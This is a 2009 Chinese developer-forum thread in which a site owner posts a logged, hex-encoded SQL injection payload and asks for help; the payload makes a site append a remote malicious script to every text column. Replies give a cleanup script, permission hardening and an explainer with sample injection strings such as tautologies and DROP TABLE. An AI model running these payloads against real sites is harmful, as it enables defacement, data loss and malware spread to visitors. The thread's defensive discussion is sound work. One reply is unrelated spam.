被SQL注入了,帮忙看看

Malone666 2009-07-11 10:26:17
news-detail.asp newsid=3751;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f747439396c6f762e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);-- 80
...全文
342 25 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
25 条回复
切换为时间正序
请发表友善的回复…
发表回复
Malone666 2009-07-28
  • 打赏
  • 举报
回复
谢谢各位了。
drysea 2009-07-11
  • 打赏
  • 举报
回复
取newsid的时候,用clng()过滤一下吧
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html
Malone666 2009-07-11
  • 打赏
  • 举报
回复
[Quote=引用 12 楼 jack_ailly 的回复:]
SQL code如何最快速度删除?
"<script src=http://3b3.org/c.js></script> "---------------------------------------------------------------进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dboEXEC sp_MSforeachtable'exec s¡­
[/Quote]
你用的是SQL SERVER2000吧,SQL SERVER2005的怎么设置呢?
jack_ailly 2009-07-11
  • 打赏
  • 举报
回复
如何最快速度删除? 
" <script src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '

第二步:统一删除字段被挂的js
declare @delStr nvarchar(500)
set @delStr= ' <script src=http://3b3.org/c.js> </script> '

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype= 'U '

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '
end
fetch next from cur1 into @columnName


end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! '

close cur
deallocate cur
set nocount off
---------------------------------------------------------------
彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
---------------------------------------------------------------
让3b3.org c.js注入见鬼去吧!
---------------------------------------------------------------
jack_ailly 2009-07-11
  • 打赏
  • 举报
回复
菜鸟入门级:SQL注入攻击=>http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449963.aspx
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
http://topic.csdn.net/u/20090307/00/ab1872d2-0a72-4e32-91a4-3092f04e824d.html
http://topic.csdn.net/u/20090307/00/ab1872d2-0a72-4e32-91a4-3092f04e824d.html
多看看吧
SQL77 2009-07-11
  • 打赏
  • 举报
回复
0.0帮顶
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
http://blog.163.com/best-abc/blog/static/118554004200952134651312/
你去看看这个文章 希望对你有帮助
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
不修改网站程序,使用第三方工具来防范SQL注入式攻击



网站要怎么防范最最常见SQL注入式攻击呢,我们先从SQL注入式攻击的原理来说起。



网站遭受SQL注入式攻击的基本原理:


1.没有正确过滤特殊字符,例如单引号和分号
如果你的sql语句是这样,又没过滤“’”单引号:
"SELECT * FROM tables WHERE param = '" + RequestString+ "'; "
攻击者将用户名变量(即RequestString)设置为:
a' or 't'='t

此时原始语句发生了变化:
SELECT * FROM tables WHERE param = 'a' OR 't'='t';

如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。
这种方式是跳过身份认证的最简单手段

再配合“;”分号可以进行更多的sql注入攻击
";"分号用来执行多个语句。下面语句中的RequestString的值将会导致删除“tables”表,
又可以从“dataTables”表中选择所有的数据(实际上就是透露了每一个用户的信息)。
a'; DROP TABLE tables; SELECT * FROM dataTables WHERE param LIKE '%

这就将最终的SQL语句变成下面这个样子:
SELECT * FROM tables WHERE param = 'a'; DROP TABLE tables; SELECT * FROM dataTables WHERE param LIKE '%';

通过这种原理可以执行很多很多攻击了。

2.不正确处理变量类型

如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检查用户输入的合法性(是否为数字型)就会发生这种攻击。

例如:“SELECT * FROM tables WHERE id = " + RequestID + "; "

从这个语句可以看出,作者希望RequestID是一个数字。
不过,如果终端用户选择一个字符串,就绕过了对转义字符的需要。
例 如,将RequestID设置为
1; DROP TABLE tables
就不需要上面说的“‘”单引号了,照样可以进行攻击:会将“tables”表从数据库中删除,
SQL语句变成:SELECT * FROM DATA WHERE id = 1; DROP TABLE users;

网站遭受SQL注入式攻击的基本方式:

1.最常见的也就是在查询字符串中直接输入SQL攻击字符串。

例如:page.asp?id=Num and exists (select * from [admin])

2.其次就是在FORM表单中提交的SQL注入攻击字段。

3.通过COOKIE绕过一些放注入的脚本程序

例如:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));

4.还有就是上面几种的攻击通过16进制编码后,绕过SQL注入检测的脚本程序

page.asp?id=Num;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F00720020004300750072007300'



这种可以跳过敏感字符的判断和SQL关键词的判断。



总结一下,要防止SQL注入主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些特殊字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用16进制编码。



用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。



准备工作:先去www.iisutm.com下载最新的IISUTM版本。



根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。



安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。



登陆管理界面后点击上面导航栏中的“基本设置”,然后点击左边菜单的“防SQL注入”链接。



开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的SQL注入关键字是该软件提供的SQL注入关键字以及特殊符号的特征库,你可以根据你网站的情况进行更改(最好不要修改)。IISUTM会自动拒绝16进制的编码。



确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
1.2 SQL注入攻击的防御手段

由于越来越多的攻击利用了SQL注入技术,也随之产生了很多试图解决注入漏洞的方案。目前被提出的

方案有:

(1) 在服务端正式处理之前对提交数据的合法性进行检查;

(2) 封装客户端提交信息;

(3) 替换或删除敏感字符/字符串;

(4) 屏蔽出错信息。

方案(1)被公认是最根本的解决方案,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作,

不过这需要开发者能够以一种安全的方式来构建网络应用程序,虽然已有大量针对在网络应用程序开发中如

何安全地访问数据库的文档出版,但仍然有很多开发者缺乏足够的安全意识,造成开发出的产品中依旧存在

注入漏洞;方案(2)的做法需要RDBMS的支持,目前只有Oracle采用该技术;方案(3)则是一种不完全的解决

措施,例如,当客户端的输入为“…ccmdmcmdd…”时,在对敏感字符串“cmd”替换删除以后,剩下的字符

正好是“…cmd…”;方案(4)是目前最常被采用的方法,很多安全文档都认为SQL注入攻击需要通过错误信

息收集信息,有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成,这使很多安全专家形成一种

观念,即注入攻击在缺乏详细错误的情况下不能实施。

而实际上,屏蔽错误信息是在服务端处理完毕之后进行补救,攻击其实已经发生,只是企图阻止攻击者

知道攻击的结果而已。本文所介绍SQL盲注技术就是一些攻击者使用的新技术,其在错误信息被屏蔽的情况

下使攻击者仍能获得所需的信息,并继续实施注入攻击。

Malone666 2009-07-11
  • 打赏
  • 举报
回复
被SQL注入了,帮忙看看,是啥原因。
pt1314917 2009-07-11
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 feixianxxx 的回复:]
what is this?
[/Quote]

同问
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
what is this?
gcl151449388 2009-07-11
  • 打赏
  • 举报
回复
等待高手
Malone666 2009-07-11
  • 打赏
  • 举报
回复
各位帮忙看看。
wwwlhwz8com 2009-07-11
  • 打赏
  • 举报
回复
利好网赚分享网络赚钱资讯的免费网赚平台,帮助朋友们学到网赚技巧、实现网赚梦想。在这里聚集了最新的各种网赚,努力为大家提供最新最全的网赚信息,是网赚行业中最大影响力的综合性免费创业网赚论坛!网址http://www.lhwz8.com/
feixianxxx 2009-07-11
  • 打赏
  • 举报
回复
[Quote=引用 21 楼 malone666 的回复:]
谁有SQL注入解码工具,发一个给我,谢谢。
[/Quote]
http://blog.sina.com.cn/s/blog_60b75d080100e8lv.html
http://wf66.com/down/soft19/23118BF2C1.htm
Malone666 2009-07-11
  • 打赏
  • 举报
回复
谁有SQL注入解码工具,发一个给我,谢谢。
加载更多回复(5)

22,301

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧